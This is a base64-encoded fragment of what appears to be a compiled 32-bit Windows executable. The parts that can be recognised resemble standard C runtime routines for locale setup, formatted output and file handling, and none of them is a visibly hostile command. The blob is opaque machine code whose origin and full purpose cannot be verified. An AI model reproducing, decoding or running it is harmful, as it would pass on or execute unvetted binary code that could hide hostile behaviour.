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AOn2/v//g8sQ6e7+//+DyyDp9P7//4uF8P3//4oAPDZ1HIu98P3//4B/ATR1EIvHg8ACgcsAgAAA6b7+//88M3Uci73w/f//gH8BMnUQi8eDwAKB4/9////pnv7//zxkD4SqBwAAPGkPhKIHAAA8bw+EmgcAADx1D4SSBwAAPHgPhIoHAAA8WA+EggcAADPAiYW8/f//6wIzwImFyP3//42FkP3//1APtsJQ6D6p//9ZWYXAdDiNheD9//9Q/7XQ/f///7W4/f//6LkHAACLjfD9//+DxAyKAUGIhbj9//+JjfD9//+EwA+EZAcAAI2F4P3//1D/tdD9////tbj9///ogQcAAIPEDOn8BgAAD77Cg/hkD4/NAQAAD4RRAgAAg/hTD4/tAAAAdHyD6EF0EEhIdFZISHQISEgPhRgFAACAwiDHhaT9//8BAAAAiJXv/f//i4XY/f//jbX0/f//g8tAuQACAACJnej9//+JjcT9//+FwA+JMgIAAMeF2P3//wYAAADpgAIAAPfDMAgAAA+FngAAAIHLAAgAAImd6P3//+mNAAAA98MwCAAAdQyBywAIAACJnej9//+Lldj9//+5////f4P6/3QCi8qLN4PHBIm95P3///fDEAgAAA+EUwQAAIX2dQaLNcxcRADHhcj9//8BAAAAi8aFyXQPM9JJZjkQdAeDwAKFyXXzK8bR+Ok8BAAAg+hYD4SwAgAASEh0cIPoBw+EJ////0hID4UkBAAAg8cEib3k/f//98MQCAAAdDAPt0f8UGgAAgAAjYX0/f//UI2F3P3//1DoU4wAAIPEEIXAdB/HhbT9//8BAAAA6xOKR/yIhfT9///Hhdz9//8BAAAAjbX0/f//6cUDAACLB4PHBIm95P3//4XAdDOLcASF9nQsD78A98MACAAAdBSZK8LHhcj9//8BAAAA0fjpigMAADPJiY3I/f//6X0DAACLNchcRABW6LC3//9Z6WsDAACD+HAPj+MBAAAPhM8BAACD+GUPjFkDAACD+GcPjkv+//+D+Gl0ZIP4bnQlg/hvD4U9AwAAx4Xc/f//CAAAAITbeVuBywACAACJnej9///rTYPHBIm95P3//4t//Og7hP//hcAPhAIFAACLheD9///2wyB0BWaJB+sCiQfHhbT9//8BAAAA6XoEAACDy0CJnej9///Hhdz9//8KAAAA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RA4kAsDQ+PdDDAgBAACIhfvv//+LhfDv//91HYtDBIuN8O///4u99O///5kryIvBG/qL1+kHAwAAizuL9ytzCPZDDAMPhJABAACAvfvv//8BD4VEAQAAi4Xs7///ixSFCHFEAIuF8O///4N8CjAAi5X07///D4QgAQAA0e6DewQAD4S5AgAAi5Xs7///i53o7///agCLBJUIcUQA/3QILP90CChT6ONkAACL+ImV5O///4uF7O///4PEEIm94O///4sMhQhxRACLhdzv//87fAEoD4X9/v//O1QBLA+F8/7//2oAjZXo7///UmgAEAAAjZX87///Uv80Af8VcKFCAIXAD4TN/v//i7307///i43w7///agBXUVPob2QAAIPEEIXSfw4PjKr+//+FwA+Cov7//4uF6O///zvwD4eU/v//jY387///hfZ0M4vRA9BOO8pzKooBPA11E41C/zvIcxiNQQGAOAp1EIvI6wwPtsAPvoDgXkQAA8hBhfZ10Y2F/O///zPSK8gDjeDv//+LwROV5O///+mlAQAAi5Xs7///iwSVCHFEAIuV9O////ZECASAi4Xw7///dBCLSwjrB4A5CnUBRkE7z3L1i8gLynUfi8Yz0ulmAQAA9kMMgHXr6NyY///HABYAAADp5f3///ZDDAEPhDEBAACDewQAdQcz9ukkAQAAi5Xs7///i43c7///K3sIA3sEiwSVCHFEAIuV9O////ZECASAi4Xw7///D4TeAAAAagJqAGoA/7Xo7///6EVjAACLjfDv//+DxBCJleTv//+LlfTv//87wXVMOZXk7///dUSLQwiDpeTv//8AA8eLyCtLCDtDCBvA99AjwYmF4O///3YZi0MIi43k7///gDgKdQFHQEE7jeDv//9y8PdDDAAgAADrX2oAUlH/tejv///o0WIAAIPEEIXSfw4PjAz9//+FwA+CBP3//7gAAgAAO/h3EfZDDAh0C/dDDAAEAACL+HQDi3sYi4Xs7///i43c7///i5X07///iwSFCHFEAPZECAQEi4Xw7///dAFHgL377///AXUC0e8rx4PaAImV9O///4C9++///wF1AtHuM9IDxhOV9O///4tN/F9eM81b6Klf//+L5V3DahRoKC5EAOisx///M/aJdeSLfQiD//51EOhSl///xwAJAAAA6bcAAACF/w+InwAAADs9+IxEAA+DkwAAAIvHwfgFiUXgi9+D4x/B4waLBIUIcUQAD75EAwSD4AF0clfo73r//1mJdfyLReCLBIUIcUQA9kQDBAF0KFfokX3//1lQ/xVsoUIAhcB1CP8VuKBCAIvwiXXkhfZ0GOidlv//iTDoypb//8cACQAAAIPO/4l15MdF/P7////oCgAAAIvG6yGLfQiLdeRX6Ct+//9Zw+iblv//xwAJAAAA6NKq//+DyP/oFcf//8NqEGhILkQA6MPG//8z24ld5It1CIP+/nUX6DWW//+JGOhilv//xwAJAAAA6bYAAACF9g+IlwAAADs1+IxEAA+DiwAAAIvewfsFi/6D5x/B5waLBJ0IcUQAD75EOASD4AF1Cujslf//gyAA62pW6Ph5//9Zg2X8AIsEnQhxRAD2RDgEAXQT/3UQ/3UMVuheAAAAg8QMi/jrFujqlf//xwAJAAAA6KuV//+DIACDz/+JfeTHRfz+////6AoAAACLx+soi3UIi33kVuhDff//WcPof5X//4kY6KyV///HAAkAAADo46n//4PI/+gmxv//w1WL7LjwGgAA6NN0AAChCFREADPFiUX8g6VE5f//AItFCItNDFYz9omFOOX//1cz/4mNMOX//4m1QOX//zl1EHUHM8DpDQgAAIXJdR/oE5X//yEw6ECV///HABYAAADod6n//4PI/+nqBwAAi9CLyMH6BYPhH8HhBomVKOX//1OLFJUIcUQAiY0k5f//ilwRJALb0PuA+wJ0BYD7AXUri0UQ99CoAXUc6LiU//8hMOjllP//xwAWAAAA6Byp///piAcAAIuFOOX///ZEEQQgdA9qAmoAagBQ6IRgAACDxBD/tTjl///oJl8AAFmFwA+EUAMAAIuFKOX//4uNJOX//4sEhQhxRAD2RAEEgA+EMgMAAOiL3P//M8mLQGw5iKgAAACNhRjl//9Qi4Uo5f//D5TBiY085f//i40k5f//iwSFCHFEAP80Af8VGKJCAIXAD4TuAgAAObU85f//dAiE2w+E3gIAAP8VaKFCAIuVMOX//zPJIY045f//iYUQ5f//iY005f//iZUs5f//OU0QD4aBBgAAi4Us5f//M9KJlUDl///HhRTl//8KAAAAIb085f//hNsPha4BAACKEDPAi40k5f//gPoKD5TAiYUY5f//i4Uo5f//iwSFCHFEAImFPOX//zl8ATh0HIpEATSIRfSLhTzl//+IVfVqAiF8ATiNRfRQ61oPvsJQ6NmN//9ZhcB0RIuFMOX//4uVLOX//yvCA0UQg/gBD4bbAQAAagJSjYU05f//UOhYYgAAg8QMg/j/D4QFAwAAi4Us5f//QP+FQOX//+smagH/tSzl//+NhTTl//9Q6CliAACDxAyD+P8PhNYCAACLhSzl//8zyUD/hUDl//9RUWoFiYUs5f//jUX0UGoBjYU05f//UFH/tRDl////FSiiQgCJhTzl//+FwA+ElQIAAGoAjY045f//UYuNJOX//1CNRfRQi4Uo5f//iwSFCHFEAP80Af8V9KFCAIXAD4RMAQAAi7VA5f//i41E5f//A/GLhTzl//85hTjl//8PjEkCAAA5vRjl//90S4uNJOX//42FOOX//2oAUGoBjUX0xkX0DVCLhSjl//+LBIUIcUQA/zQB/xX0oUIAhcAPhO0AAACDvTjl//8BD4z3AQAA/4VE5f//RouNNOX//+mGAAAAgPsBdAWA+wJ1Mw+3CDPSZjuNFOX//4mNNOX//w+UwoPAAomVPOX//4uVQOX//4PCAomFLOX//4mVQOX//4D7AXQFgPsCdUtR6NpwAABZi4005f//ZjvBdXWDxgI5vTzl//90